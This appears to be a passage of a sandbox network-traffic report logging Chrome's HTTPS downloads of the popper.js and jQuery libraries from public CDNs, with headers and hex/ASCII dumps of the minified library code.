i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	51409	104.17.24.14	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:34 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:34 UTC	961	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 57168 Expires: Sun, 04 Jan 2026 16:25:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6oXcrVfMB9%2FPNyuAn9MkYHVEsWnSwZ5UYLB4u2EdrfXCLGUV%2F0%2FDpFFe5UJ0mjZB0RD5Y%2FT1oTUmqLEHp5wyCnxiVN6S2fRnYFHqdZaP1ePOyOmlvNsn7EHyUnSHIqA0W9%2B9bHdP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901efb97cde5f5f6-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:34 UTC	408	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e Data Ascii: ==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#documen
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 Data Ascii: ){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bor
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 Data Ascii: op:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}retu
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 Data Ascii: ight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.w
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 Data Ascii: le.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={inst
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 Data Ascii: his.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pas
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 Data Ascii: turn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){re
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f Data Ascii: turn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functio
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: turn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	51410	151.101.194.137	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:34 UTC	363	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:34 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 14 Jan 2025 16:25:34 GMT Age: 1389338 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740054-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 1 X-Timer: S1736871935.661215,VS0,VE1 Vary: Accept-Encoding
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-01-14 16:25:34 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
